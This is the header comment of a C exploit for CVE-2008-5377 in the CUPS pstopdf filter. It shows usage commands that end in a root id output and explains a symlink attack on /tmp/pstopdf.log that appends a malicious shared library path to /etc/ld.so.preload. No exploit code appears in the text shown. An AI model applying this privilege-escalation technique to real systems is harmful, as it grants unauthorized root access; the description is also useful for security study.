/*
 * cve-2008-5377.c
 *
 * CUPS < 1.3.8-4 pstopdf filter exploit
 * Jon Oberheide <[email protected]>
 * http://jon.oberheide.org
 * 
 * Usage:
 *
 *   $ gcc cve-2008-5377.c -o cve-2008-5377.c
 *   $ ./cve-2008-5377
 *   $ id
 *   uid=0(root) gid=1000(vm) ...
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377
 *
 *   pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via
 *   a symlink attack on the /tmp/pstopdf.log temporary file.
 *
 * Operation:
 *
 *   The exploit creates and prints a malformed postscript document that will
 *   cause the CUPS pstopdf filter to write an error message out to its log 
 *   file that contains the string /tmp/getuid.so.  However, since we also 
 *   symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the 
 *   error message and malicious shared library path will be appended to the
 *   ld.so.preload file, allowing us to elevate privileges to root.
 *
 * Note:
 * 
 *   This exploit only works under the (rare) conditions that cupsd executes 
 *   external filters as a privileged user, a printer on the system uses the 
 *   pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload
 *   must be world readable.
